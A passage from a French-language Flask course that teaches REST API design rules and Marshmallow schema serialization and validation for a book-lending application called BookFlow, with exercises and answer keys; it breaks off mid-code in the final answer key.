━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

RÈGLE 1 — LES URLS REPRÉSENTENT DES RESSOURCES (PAS DES ACTIONS)

  [X] MAUVAIS (verbes dans l'URL — style RPC) :
    POST /creerLivre
    GET  /getLivre?id=5
    POST /supprimerLivre
    POST /modifierTitreLivre

  [OK] BON (noms de ressources — style REST) :
    POST   /api/v1/livres          -> Créer
    GET    /api/v1/livres/5        -> Lire
    DELETE /api/v1/livres/5        -> Supprimer
    PATCH  /api/v1/livres/5        -> Modifier

RÈGLE 2 — UTILISER LES MÉTHODES HTTP CORRECTEMENT

  ┌─────────┬────────────┬──────────────────────────────────────────────┐
  │ MÉTHODE │ ACTION     │ IDEMPOTENT ? SÛRE ?                          │
  ├─────────┼────────────┼──────────────────────────────────────────────┤
  │ GET     │ Lire       │ Oui / Oui -> Peut être mis en cache           │
  │ HEAD    │ Headers    │ Oui / Oui -> Comme GET mais sans body         │
  │ OPTIONS │ Options    │ Oui / Oui -> Pour CORS preflight              │
  │ POST    │ Créer      │ Non / Non -> Chaque appel crée une ressource  │
  │ PUT     │ Remplacer  │ Oui / Non -> Même résultat si répété          │
  │ PATCH   │ Modifier   │ Non / Non -> (peut varier selon implémentation)│
  │ DELETE  │ Supprimer  │ Oui / Non -> Supprimer 2x = même résultat     │
  └─────────┴────────────┴──────────────────────────────────────────────┘

  Idempotent = Même résultat peu importe le nombre d'appels identiques
  Sûr        = Pas d'effet de bord (ne modifie pas de données)

RÈGLE 3 — NOMMER LES RESSOURCES EN PLURIEL

  [OK] /api/v1/livres           (pas /api/v1/livre)
  [OK] /api/v1/utilisateurs     (pas /api/v1/utilisateur)
  [OK] /api/v1/categories       (pas /api/v1/categorie)

RÈGLE 4 — RELATIONS DANS L'URL

  # Ressources imbriquées : logique et lisible
  GET    /api/v1/livres/5/avis              -> Avis du livre 5
  POST   /api/v1/livres/5/avis              -> Créer un avis pour le livre 5
  GET    /api/v1/utilisateurs/3/emprunts    -> Emprunts de l'utilisateur 3
  DELETE /api/v1/utilisateurs/3/emprunts/7  -> Supprimer l'emprunt 7 de l'user 3

  # Limite d'imbrication : max 2 niveaux (au-delà, créer des ressources plates)
  [OK] /api/v1/livres/5/avis
  [ATTENTION]  /api/v1/utilisateurs/3/emprunts/7/avis  -> Trop profond

RÈGLE 5 — CODES HTTP SÉMANTIQUES

  2xx — Succès :
    200 OK              -> Requête réussie (GET, PUT, PATCH réussis)
    201 Created         -> Ressource créée (POST réussi)
    202 Accepted        -> Traitement asynchrone accepté
    204 No Content      -> Succès sans corps de réponse (DELETE)
    206 Partial Content -> Réponse partielle (streaming, range)

  3xx — Redirection :
    301 Moved Permanently -> URL changée définitivement
    304 Not Modified      -> Ressource pas changée (cache valide)

  4xx — Erreur client :
    400 Bad Request       -> Données invalides ou malformées
    401 Unauthorized      -> Non authentifié
    403 Forbidden         -> Authentifié mais non autorisé
    404 Not Found         -> Ressource inexistante
    405 Method Not Allowed -> Méthode HTTP non supportée pour cette URL
    409 Conflict          -> Conflit (doublon, contrainte)
    410 Gone              -> Ressource supprimée définitivement
    422 Unprocessable     -> Données valides syntaxiquement mais invalides
    429 Too Many Requests -> Rate limit dépassé

  5xx — Erreur serveur :
    500 Internal Error    -> Erreur non gérée du serveur
    502 Bad Gateway       -> Erreur proxy/upstream
    503 Service Unavailable -> Serveur temporairement indisponible

RÈGLE 6 — FORMAT DES RÉPONSES JSON COHÉRENT

  # Standard recommandé pour BookFlow
  # Toujours le même format, succès comme erreur

  Succès (liste) :
  {
    "success": true,
    "data": [...],
    "meta": {
      "total": 42,
      "page": 1,
      "per_page": 10,
      "pages": 5,
      "has_next": true,
      "has_prev": false
    }
  }

  Succès (objet unique) :
  {
    "success": true,
    "data": {...},
    "message": "Livre créé avec succès"
  }

  Erreur :
  {
    "success": false,
    "error": {
      "code": 400,
      "message": "Validation échouée",
      "details": {
        "titre": "Ce champ est obligatoire",
        "pages": "Doit être un entier positif"
      }
    }
  }


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  4⃣  LES NIVEAUX DE MATURITÉ REST (MODÈLE RICHARDSON)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Leonard Richardson a défini 4 niveaux de maturité REST :

  NIVEAU 0 — "Le Marécage POX"
  ─────────────────────────────
  Une seule URL, une seule méthode HTTP, tout passe par POST.
  C'est du XML/JSON-RPC déguisé.

    POST /api
    {"action": "getLivre", "id": 5}

    <- Pas RESTful du tout

  NIVEAU 1 — Ressources
  ───────────────────────
  Des URLs différentes pour chaque ressource.
  Mais toujours POST pour tout.

    POST /livres/chercher
    POST /livres/creer
    POST /livres/5/supprimer

    <- Mieux, mais les verbes HTTP ne sont pas utilisés

  NIVEAU 2 — Verbes HTTP <- LA PLUPART DES API "REST"
  ────────────────────────────────────────────────────
  URLs pour les ressources + méthodes HTTP correctes + codes de statut.
  C'est ce que font la plupart des API modernes.

    GET    /api/v1/livres
    POST   /api/v1/livres
    GET    /api/v1/livres/5
    DELETE /api/v1/livres/5

    <- BookFlow est à ce niveau [OK]

  NIVEAU 3 — HATEOAS (Hypermedia) <- REST COMPLET
  ─────────────────────────────────────────────────
  Les réponses contiennent des liens vers les actions disponibles.
  Le client découvre l'API en suivant les liens.

    {
      "id": 5,
      "titre": "Dune",
      "_links": {
        "self": {"href": "/api/v1/livres/5", "method": "GET"},
        "modifier": {"href": "/api/v1/livres/5", "method": "PATCH"},
        "supprimer": {"href": "/api/v1/livres/5", "method": "DELETE"},
        "emprunter": {"href": "/api/v1/emprunts", "method": "POST"},
        "avis": {"href": "/api/v1/livres/5/avis", "method": "GET"}
      }
    }

    <- Rarement implémenté complètement en pratique


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  5⃣  DESIGN D'API BOOKFLOW COMPLET
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

TABLEAU COMPLET DES ENDPOINTS BOOKFLOW :

  ┌─────────┬─────────────────────────────────────┬──────┬──────────────────────────┐
  │ MÉTHODE │ ENDPOINT                            │ CODE │ DESCRIPTION              │
  ├─────────┼─────────────────────────────────────┼──────┼──────────────────────────┤
  │         │ AUTH                                │      │                          │
  │ POST    │ /api/v1/auth/register               │ 201  │ Inscription              │
  │ POST    │ /api/v1/auth/login                  │ 200  │ Connexion -> JWT          │
  │ POST    │ /api/v1/auth/logout                 │ 204  │ Déconnexion              │
  │ POST    │ /api/v1/auth/refresh                │ 200  │ Renouveler token         │
  │ POST    │ /api/v1/auth/forgot-password        │ 202  │ Email reset              │
  │ POST    │ /api/v1/auth/reset-password         │ 200  │ Nouveau mot de passe     │
  │ GET     │ /api/v1/auth/verify/<token>         │ 200  │ Vérifier email           │
  ├─────────┼─────────────────────────────────────┼──────┼──────────────────────────┤
  │         │ LIVRES                              │      │                          │
  │ GET     │ /api/v1/livres                      │ 200  │ Liste + filtres          │
  │ POST    │ /api/v1/livres                      │ 201  │ Créer (admin)            │
  │ GET     │ /api/v1/livres/<id>                 │ 200  │ Détail                   │
  │ PUT     │ /api/v1/livres/<id>                 │ 200  │ Remplacer (admin)        │
  │ PATCH   │ /api/v1/livres/<id>                 │ 200  │ Modifier (admin)         │
  │ DELETE  │ /api/v1/livres/<id>                 │ 204  │ Supprimer (admin)        │
  │ GET     │ /api/v1/livres/recherche            │ 200  │ Recherche full-text      │
  │ GET     │ /api/v1/livres/aleatoire            │ 200  │ N livres aléatoires      │
  │ POST    │ /api/v1/livres/import               │ 201  │ Import CSV/JSON          │
  │ GET     │ /api/v1/livres/statistiques         │ 200  │ Stats catalogue          │
  │ GET     │ /api/v1/livres/<id>/avis            │ 200  │ Avis d'un livre          │
  │ POST    │ /api/v1/livres/<id>/avis            │ 201  │ Poster un avis           │
  │ GET     │ /api/v1/livres/<id>/similaires      │ 200  │ Livres similaires        │
  ├─────────┼─────────────────────────────────────┼──────┼──────────────────────────┤
  │         │ UTILISATEURS                        │      │                          │
  │ GET     │ /api/v1/users/me                    │ 200  │ Mon profil               │
  │ PATCH   │ /api/v1/users/me                    │ 200  │ Modifier mon profil      │
  │ DELETE  │ /api/v1/users/me                    │ 204  │ Supprimer mon compte     │
  │ GET     │ /api/v1/users/me/emprunts           │ 200  │ Mes emprunts en cours    │
  │ GET     │ /api/v1/users/me/historique         │ 200  │ Mon historique           │
  │ GET     │ /api/v1/users/me/avis               │ 200  │ Mes avis                 │
  │ GET     │ /api/v1/users/<id>                  │ 200  │ Profil public (admin)    │
  │ GET     │ /api/v1/users                       │ 200  │ Liste users (admin)      │
  ├─────────┼─────────────────────────────────────┼──────┼──────────────────────────┤
  │         │ EMPRUNTS                            │      │                          │
  │ POST    │ /api/v1/emprunts                    │ 201  │ Emprunter un livre       │
  │ GET     │ /api/v1/emprunts/<id>               │ 200  │ Détail emprunt           │
  │ PATCH   │ /api/v1/emprunts/<id>/retourner     │ 200  │ Retourner un livre       │
  │ GET     │ /api/v1/emprunts                    │ 200  │ Tous emprunts (admin)    │
  ├─────────┼─────────────────────────────────────┼──────┼──────────────────────────┤
  │         │ CATÉGORIES                          │      │                          │
  │ GET     │ /api/v1/categories                  │ 200  │ Liste catégories         │
  │ POST    │ /api/v1/categories                  │ 201  │ Créer (admin)            │
  │ GET     │ /api/v1/categories/<id>             │ 200  │ Détail                   │
  │ PATCH   │ /api/v1/categories/<id>             │ 200  │ Modifier (admin)         │
  │ DELETE  │ /api/v1/categories/<id>             │ 204  │ Supprimer (admin)        │
  │ GET     │ /api/v1/categories/<id>/livres      │ 200  │ Livres de cette catég.   │
  ├─────────┼─────────────────────────────────────┼──────┼──────────────────────────┤
  │         │ ADMIN                               │      │                          │
  │ GET     │ /api/v1/admin/dashboard             │ 200  │ Stats générales          │
  │ GET     │ /api/v1/admin/emprunts/retards      │ 200  │ Emprunts en retard       │
  │ POST    │ /api/v1/admin/livres/import         │ 201  │ Import massif            │
  │ DELETE  │ /api/v1/admin/livres/vider-corbeille│ 200  │ Vider corbeille          │
  ├─────────┼─────────────────────────────────────┼──────┼──────────────────────────┤
  │         │ SYSTÈME                             │      │                          │
  │ GET     │ /health                             │ 200  │ Santé de l'API           │
  │ GET     │ /api/v1/stats                       │ 200  │ Stats publiques          │
  └─────────┴─────────────────────────────────────┴──────┴──────────────────────────┘

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  6⃣  EXERCICES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

NIVEAU FACILE :
  Exercice 25.1 : Identifie les anti-patterns dans ces URLs et corrige-les :
    a) POST /api/getLivresDisponibles
    b) GET  /api/supprimerLivre?id=5
    c) POST /api/updateBook
    d) GET  /api/livres/create

  Exercice 25.2 : Pour chaque action, détermine la méthode HTTP,
    l'URL RESTful et le code de retour approprié :
    a) Changer le genre d'un livre
    b) Voir tous les emprunts d'un utilisateur
    c) Marquer un livre comme favori
    d) Exporter tous les livres en CSV

  Exercice 25.3 : Explique pourquoi DELETE /livres/5 est idempotent
    mais POST /livres ne l'est pas.

NIVEAU INTERMÉDIAIRE :
  Exercice 25.4 : Conçois les endpoints REST pour un nouveau module
    "Listes de lecture" (playlists de livres). Un utilisateur peut créer
    des listes, y ajouter des livres, partager ses listes.

  Exercice 25.5 : Identifie à quel niveau de maturité Richardson
    correspond chaque API décrite, et explique comment l'améliorer.

NIVEAU AVANCÉ :
  Exercice 25.6 : Conçois l'API REST complète pour un système de
    notifications BookFlow : notifier les utilisateurs quand un livre
    réservé devient disponible, quand un emprunt est en retard, etc.

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  [10] CORRIGÉS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

CORRIGÉ 25.1 :
  a) POST /api/getLivresDisponibles
     -> GET /api/v1/livres?disponible=true
     (GET car lecture, query param pour le filtre, pas de verbe dans l'URL)

  b) GET /api/supprimerLivre?id=5
     -> DELETE /api/v1/livres/5
     (DELETE car suppression, GET est une méthode sûre qui ne modifie rien)

  c) POST /api/updateBook
     -> PATCH /api/v1/livres/<id>  (modification partielle)
       ou PUT /api/v1/livres/<id>  (remplacement complet)

  d) GET /api/livres/create
     -> POST /api/v1/livres
     (GET est sûre, la création n'est pas sûre -> POST)

CORRIGÉ 25.2 :
  a) Changer le genre d'un livre
     -> PATCH /api/v1/livres/<id>  -> 200 OK
     Body: {"genre": "fantasy"}

  b) Voir tous les emprunts d'un utilisateur
     -> GET /api/v1/users/<id>/emprunts  -> 200 OK

  c) Marquer un livre comme favori
     -> POST /api/v1/users/me/favoris  -> 201 Created
     Body: {"livre_id": 5}
     (ou PUT /api/v1/users/me/favoris/5 -> 200 OK)

  d) Exporter tous les livres en CSV
     -> GET /api/v1/livres/export?format=csv -> 200 OK
     Header: Content-Type: text/csv
     Header: Content-Disposition: attachment; filename=livres.csv

CORRIGÉ 25.4 — Listes de lecture :
  GET    /api/v1/users/me/listes              -> Mes listes de lecture
  POST   /api/v1/users/me/listes              -> Créer une liste
  GET    /api/v1/users/me/listes/<id>         -> Détail d'une liste
  PATCH  /api/v1/users/me/listes/<id>         -> Modifier (nom, visibilité)
  DELETE /api/v1/users/me/listes/<id>         -> Supprimer une liste

  POST   /api/v1/users/me/listes/<id>/livres  -> Ajouter un livre à la liste
  DELETE /api/v1/users/me/listes/<id>/livres/<livre_id> -> Retirer un livre

  GET    /api/v1/listes/publiques             -> Listes publiques (tous)
  GET    /api/v1/users/<id>/listes            -> Listes publiques d'un user


╔══════════════════════════════════════════════════════════════════════════════════════╗
║              CHAPITRE 26 — JSON AVANCÉ ET MARSHMALLOW                             ║
║         Sérialisation professionnelle, validation et transformation                ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  1⃣  INTRODUCTION À MARSHMALLOW
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

QU'EST-CE QUE MARSHMALLOW ?
─────────────────────────────
Marshmallow est une bibliothèque Python de sérialisation/désérialisation
et de validation. Elle remplace avantageusement la gestion manuelle
des to_dict() et des validations dans les routes.

AVANTAGES DE MARSHMALLOW :
  [OK] Séparation claire : validation ≠ modèle SQLAlchemy
  [OK] Réutilisable : un schéma peut être utilisé pour créer ET modifier
  [OK] Flexible : contrôle fin de ce qui est exposé dans l'API
  [OK] Documentation automatique avec Flask-RESTX ou Swagger
  [OK] Gère les relations imbriquées automatiquement

  pip install marshmallow flask-marshmallow marshmallow-sqlalchemy

CONFIGURATION :

  # app/__init__.py
  from flask_marshmallow import Marshmallow

  ma = Marshmallow()

  def create_app(config_name='development'):
      app = Flask(__name__)
      # ...
      ma.init_app(app)
      return app


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  2⃣  CRÉER DES SCHÉMAS MARSHMALLOW
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # app/schemas/livre_schema.py
  from marshmallow import Schema, fields, validates, ValidationError, pre_load, post_load
  from marshmallow import validates_schema, EXCLUDE, RAISE
  from app import ma
  from app.models import Livre

  class CategorieSchema(ma.Schema):
      """Schéma pour la sérialisation d'une catégorie."""
      class Meta:
          # Champs à inclure dans la sérialisation
          fields = ('id', 'nom', 'slug', 'couleur', 'icone')

  class AuteurMinimalSchema(ma.Schema):
      """Représentation minimale d'un auteur (pour imbriquer)."""
      class Meta:
          fields = ('id', 'nom')

  class LivreSchema(ma.Schema):
      """
      Schéma principal pour les livres.
      Utilisé pour la sérialisation (objet -> JSON).
      """

      # ─── CHAMPS STANDARDS ───
      id = fields.Int(dump_only=True)         # dump_only = lecture seule
      titre = fields.Str(required=True)
      auteur = fields.Str(required=True)
      isbn = fields.Str(allow_none=True)
      pages = fields.Int(load_default=0)       # Valeur par défaut à la désérialisation
      prix = fields.Float(load_default=0.0)
      description = fields.Str(allow_none=True)
      disponible = fields.Bool(load_default=True)

      # ─── CHAMPS ENUM ───
      GENRES_VALIDES = [
          'science-fiction', 'fantasy', 'dystopie', 'policier',
          'romance', 'historique', 'biographie', 'informatique', 'autre'
      ]
      genre = fields.Str(load_default='autre')

      # ─── CHAMPS DE LECTURE SEULE (calculés ou timestamps) ───
      created_at = fields.DateTime(dump_only=True, format='iso')
      updated_at = fields.DateTime(dump_only=True, allow_none=True, format='iso')

      # ─── CHAMPS DE RELATIONS (imbriqués) ───
      # Nested : inclure les données d'une relation dans la réponse
      categories = fields.List(
          fields.Nested(CategorieSchema),
          dump_only=True
      )

      # ─── CHAMPS CALCULÉS (Lambda) ───
      # Champs qui n'existent pas directement dans le modèle
      note_moyenne = fields.Method('get_note_moyenne', dump_only=True)
      nb_avis = fields.Method('get_nb_avis', dump_only=True)
      url = fields.Method('get_url', dump_only=True)

      def get_note_moyenne(self, obj):
          """Calcule la note moyenne des avis."""
          from sqlalchemy import func
          from app import db
          from app.models import Avis
          result = db.session.query(func.avg(Avis.note)).filter_by(
              livre_id=obj.id
          ).scalar()
          return round(float(result), 2) if result else None

      def get_nb_avis(self, obj):
          """Compte le nombre d'avis."""
          return obj.avis.count()

      def get_url(self, obj):
          """Génère l'URL de la ressource."""
          from flask import url_for
          try:
              return url_for('api_livres.get_livre', livre_id=obj.id, _external=True)
          except Exception:
              return f'/api/v1/livres/{obj.id}'

      # ─── VALIDATION PERSONNALISÉE ───

      @validates('genre')
      def valider_genre(self, valeur):
          """Valide que le genre est dans la liste autorisée."""
          genres = {
              'science-fiction', 'fantasy', 'dystopie', 'policier',
              'romance', 'historique', 'biographie', 'informatique', 'autre'
          }
          if valeur and valeur.lower() not in genres:
              raise ValidationError(
                  f"Genre invalide. Valeurs acceptées : {sorted(genres)}"
              )
          return valeur.lower() if valeur else 'autre'

      @validates('pages')
      def valider_pages(self, valeur):
          if valeur is not None and valeur < 0:
              raise ValidationError("Le nombre de pages ne peut pas être négatif")
          return valeur

      @validates('prix')
      def valider_prix(self, valeur):
          if valeur is not None and valeur < 0:
              raise ValidationError("Le prix ne peut pas être négatif")
          return round(valeur, 2) if valeur else 0.0

      @validates('isbn')
      def valider_isbn(self, valeur):
          if not valeur:
              return None
          isbn = str(valeur).replace('-', '').replace(' ', '')
          if not isbn.isdigit() or len(isbn) != 13:
              raise ValidationError("L'ISBN doit contenir exactement 13 chiffres")
          return isbn

      @validates('titre')
      def valider_titre(self, valeur):
          if not valeur or not valeur.strip():
              raise ValidationError("Le titre ne peut pas être vide")
          valeur = valeur.strip()
          if len(valeur) > 200:
              raise ValidationError(f"Maximum 200 caractères ({len(valeur)} reçus)")
          return valeur

      @validates('auteur')
      def valider_auteur(self, valeur):
          if not valeur or not valeur.strip():
              raise ValidationError("L'auteur ne peut pas être vide")
          return valeur.strip()

      # ─── HOOK PRE/POST ───

      @pre_load
      def normaliser_donnees(self, data, **kwargs):
          """Pré-traitement avant validation et désérialisation."""
          if isinstance(data, dict):
              # Nettoyer les espaces des champs texte
              for champ in ('titre', 'auteur', 'genre'):
                  if champ in data and isinstance(data[champ], str):
                      data[champ] = data[champ].strip()
              # Normaliser le genre en minuscules
              if 'genre' in data and data['genre']:
                  data['genre'] = data['genre'].lower()
          return data

      @post_load
      def creer_ou_modifier(self, data, **kwargs):
          """Post-traitement après désérialisation (optionnel)."""
          # Ici on pourrait créer directement un objet Livre
          # mais on préfère retourner le dict pour garder le contrôle
          return data

  # SCHÉMA DE CRÉATION (sous-ensemble du schéma principal)
  class LivreCreateSchema(LivreSchema):
      """Schéma strict pour la création — titre et auteur requis."""
      titre = fields.Str(required=True)
      auteur = fields.Str(required=True)

      class Meta:
          # Rejeter les champs inconnus (évite les injections de champs)
          unknown = EXCLUDE   # ou RAISE pour retourner une erreur

  # SCHÉMA DE MISE À JOUR PARTIELLE
  class LivrePatchSchema(LivreSchema):
      """Schéma pour PATCH — aucun champ requis."""
      titre = fields.Str(required=False)
      auteur = fields.Str(required=False)

      class Meta:
          unknown = EXCLUDE


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  3⃣  UTILISER MARSHMALLOW DANS LES ROUTES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  from marshmallow import ValidationError as MarshmallowError
  from app.schemas.livre_schema import (
      LivreSchema, LivreCreateSchema, LivrePatchSchema
  )

  # Instancier les schémas (une fois)
  livre_schema = LivreSchema()                        # Un seul livre
  livres_schema = LivreSchema(many=True)              # Liste de livres
  livre_create_schema = LivreCreateSchema()
  livre_patch_schema = LivrePatchSchema()

  @api_livres_bp.route('/', methods=['GET'])
  def get_livres():
      pagination = LivreRepository.lister(
          q=request.args.get('q'),
          genre=request.args.get('genre'),
          page=request.args.get('page', 1, type=int)
      )

      # Sérialisation avec Marshmallow
      # dump() : objet Python -> dict Python (puis jsonify -> JSON)
      return jsonify({
          'success': True,
          'data': livres_schema.dump(pagination.items),  # Sérialiser la liste
          'meta': {
              'total': pagination.total,
              'page': pagination.page,
              'pages': pagination.pages
          }
      })

  @api_livres_bp.route('/<int:livre_id>', methods=['GET'])
  def get_livre(livre_id):
      livre = LivreRepository.trouver_ou_404(livre_id)
      return jsonify({
          'success': True,
          'data': livre_schema.dump(livre)   # Sérialiser un objet
      })

  @api_livres_bp.route('/', methods=['POST'])
  def creer_livre():
      # Désérialisation et validation
      try:
          # load() : JSON -> dict Python validé
          data = livre_create_schema.load(request.get_json(silent=True) or {})
      except MarshmallowError as e:
          return jsonify({
              'success': False,
              'error': {
                  'code': 400,
                  'message': 'Validation échouée',
                  'details': e.messages  # Dict des erreurs par champ
              }
          }), 400

      try:
          livre = LivreRepository.creer(**data)
          from app import db
          db.session.commit()
          return jsonify({
              'success': True,
              'data': livre_schema.dump(livre),
              'message': 'Livre créé'
          }), 201
      except Exception as e:
          from app import db
          db.session.rollback()
          return jsonify({'error': 'Erreur interne'}), 500

  @api_livres_bp.route('/<int:livre_id>', methods=['PATCH'])
  def modifier_livre(livre_id):
      livre = LivreRepository.trouver_ou_404(livre_id)

      try:
          # partial=True -> aucun champ n'est requis
          data = livre_patch_schema.load(
              request.get_json(silent=True) or {},
              partial=True
          )
      except MarshmallowError as e:
          return jsonify({'success': False, 'error': {'details': e.messages}}), 400

      if not data:
          return jsonify({'error': 'Aucune donnée à modifier'}), 400

      try:
          LivreRepository.modifier(livre, **data)
          from app import db
          db.session.commit()
          return jsonify({'success': True, 'data': livre_schema.dump(livre)})
      except Exception:
          from app import db
          db.session.rollback()
          return jsonify({'error': 'Erreur interne'}), 500


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  4⃣  SCHÉMAS IMBRIQUÉS ET RELATIONS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # app/schemas/utilisateur_schema.py
  from marshmallow import Schema, fields, validates, ValidationError
  import re

  EMAIL_REGEX = re.compile(r'^[a-zA-Z0-9._%+\-]+@[a-zA-Z0-9.\-]+\.[a-zA-Z]{2,}$')

  class UtilisateurPublicSchema(Schema):
      """Représentation publique d'un utilisateur (sans données sensibles)."""
      id = fields.Int(dump_only=True)
      nom = fields.Str(dump_only=True)
      avatar_url = fields.Str(dump_only=True, allow_none=True)

  class UtilisateurSchema(Schema):
      """Schéma complet pour le profil de l'utilisateur connecté."""
      id = fields.Int(dump_only=True)
      nom = fields.Str(required=True)
      email = fields.Email(required=True)
      bio = fields.Str(allow_none=True)
      avatar_url = fields.Str(allow_none=True, dump_only=True)
      role = fields.Str(dump_only=True)
      est_actif = fields.Bool(dump_only=True)
      created_at = fields.DateTime(dump_only=True, format='iso')

      # JAMAIS sérialiser le mot de passe !
      # mot_de_passe_hash -> absent du schéma = jamais exposé

      @validates('nom')
      def valider_nom(self, valeur):
          if not valeur or len(valeur.strip()) < 2:
              raise ValidationError("Nom trop court (min 2 caractères)")
          return valeur.strip()

      @validates('email')
      def valider_email(self, valeur):
          valeur = valeur.lower().strip()
          if not EMAIL_REGEX.match(valeur):
              raise ValidationError("Format d'email invalide")
          return valeur

  class InscriptionSchema(Schema):
      """Schéma pour l'inscription — inclut le mot de passe."""
      nom = fields.Str(required=True)
      email = fields.Email(required=True)
      mot_de_passe = fields.Str(required=True, load_only=True)
      # load_only = présent en entrée mais jamais sérialisé en sortie

      @validates('mot_de_passe')
      def valider_mdp(self, valeur):
          if len(valeur) < 8:
              raise ValidationError("Minimum 8 caractères")
          if not any(c.isupper() for c in valeur):
              raise ValidationError("Doit contenir au moins une majuscule")
          if not any(c.isdigit() for c in valeur):
              raise ValidationError("Doit contenir au moins un chiffre")
          return valeur

  # SCHÉMA AVEC RELATIONS IMBRIQUÉES
  class EmpruntDetailSchema(Schema):
      """Emprunt avec les données du livre et de l'utilisateur."""
      id = fields.Int(dump_only=True)
      statut = fields.Str()
      date_debut = fields.DateTime(format='iso')
      date_retour_prevue = fields.DateTime(format='iso')
      date_retour_reelle = fields.DateTime(allow_none=True, format='iso')
      est_en_retard = fields.Bool(dump_only=True)
      jours_restants = fields.Int(dump_only=True, allow_none=True)

      # Relations imbriquées
      livre = fields.Nested(lambda: LivreSchema(only=('id', 'titre', 'auteur', 'genre')))
      utilisateur = fields.Nested(UtilisateurPublicSchema)


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  5⃣  MARSHMALLOW AVEC SQLALCHEMY (AUTO-SCHÉMA)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Flask-Marshmallow + marshmallow-sqlalchemy permettent de générer
des schémas automatiquement depuis les modèles SQLAlchemy.

  # app/schemas/auto_schema.py
  from app import ma
  from app.models import Livre, Utilisateur, Emprunt

  class LivreAutoSchema(ma.SQLAlchemyAutoSchema):
      """
      Schéma généré automatiquement depuis le modèle Livre.
      SQLAlchemy inspecte les colonnes et génère les champs.
      """
      class Meta:
          model = Livre
          load_instance = True    # load() retourne un objet Livre, pas un dict
          include_fk = False       # Exclure les FK (livre_id, user_id, etc.)
          exclude = ('mot_de_passe_hash', 'supprime_le')  # Champs à exclure

      # Surcharger ou ajouter des champs
      categories = ma.auto_field()  # Inclure la relation

  class UtilisateurAutoSchema(ma.SQLAlchemyAutoSchema):
      class Meta:
          model = Utilisateur
          load_instance = True
          # Exclure les champs sensibles
          exclude = ('mot_de_passe_hash', 'token_verification', 'token_reset_mdp')

  # Utilisation :
  livre_auto = LivreAutoSchema()
  livre_obj = livre_auto.load({"titre": "Dune", "auteur": "Herbert"})
  # -> Retourne directement un objet Livre SQLAlchemy !
  # Plus besoin de : livre = Livre(**data)

  serialise = livre_auto.dump(livre_obj)
  # -> Dict Python prêt pour jsonify


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  6⃣  EXERCICES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

NIVEAU FACILE :
  Exercice 26.1 : Crée un AvisSchema avec :
    - note (int, requis, entre 1 et 5)
    - commentaire (str, optionnel)
    - created_at (dump_only)
    - auteur (Nested UtilisateurPublicSchema, dump_only)
    - livre (Nested LivreSchema avec only=('id','titre'), dump_only)

  Exercice 26.2 : Utilise LivreCreateSchema dans la route POST /livres.
    Teste que les erreurs de validation retournent bien les messages
    structurés de Marshmallow.

  Exercice 26.3 : Crée un CategorieSchema et utilise-le dans
    GET /api/v1/categories.

NIVEAU INTERMÉDIAIRE :
  Exercice 26.4 : Crée un schéma LivreAvecStatsSchema qui inclut :
    note_moyenne, nb_avis, nb_emprunts_total, est_disponible.
    Ces champs sont calculés (fields.Method).

  Exercice 26.5 : Implémente un DashboardSchema pour l'admin :
    {total_livres, total_users, emprunts_en_cours, livres_dispo,
     top_5_livres_empruntes, derniers_emprunts}.

NIVEAU AVANCÉ :
  Exercice 26.6 : Crée un système de schémas conditionnel :
    LivreSchema retourne plus ou moins de champs selon le rôle
    de l'utilisateur (anonyme, user, admin).
    Un admin voit les champs supprime_le, supprime_par_id.
    Un user anonyme ne voit pas le prix.

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  [10] CORRIGÉS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

CORRIGÉ 26.1 :

  class AvisSchema(Schema):
      id = fields.Int(dump_only=True)
      note = fields.Int(required=True)
      commentaire = fields.Str(allow_none=True, load_default=None)
      created_at = fields.DateTime(dump_only=True, format='iso')

      # Relations imbriquées
      auteur = fields.Nested(
          UtilisateurPublicSchema,
          dump_only=True,
          attribute='auteur'   # Nom de la relation dans le modèle
      )
      livre = fields.Nested(
          LivreSchema(only=('id', 'titre')),
          dump_only=True,
          attribute='livre'
      )

      @validates('note')
      def valider_note(self, valeur):
          if not isinstance(valeur, int) or not (1 <= valeur <= 5):
              raise ValidationError("La note doit être un entier entre 1 et 5")
          return valeur

CORRIGÉ 26.6 — Schémas conditionnels par rôle :

  from marshmallow import Schema, fields, pre_dump

  def creer_livre_schema(role='anonyme'):
      """
      Factory qui retourne un schéma adapté au rôle.
      """
      class BaseLivreSchema(Schema):
          id = fields.Int(dump_only=True)
          titre = fields.Str()
          auteur = fields.Str()
          genre = fields.Str()
          pages = fields.Int()
          disponible = fields.Bool()
          created_at = fields.DateTime(format='iso', dump_only=True)

      if role == 'anonyme':
          # Pas de prix pour les anonymes
          return BaseLivreSchema()

      elif role in ('user', 'moderateur'):
          class UserLivreSchema(BaseLivreSchema):
              prix = fields.Float()
              description = fields.Str()
          return UserLivreSchema()

      elif role == 'admin':
          class AdminLivreSchema(BaseLivreSchema):
              prix = fields.Float()
              description = fields.Str()
              isbn = fields.Str()
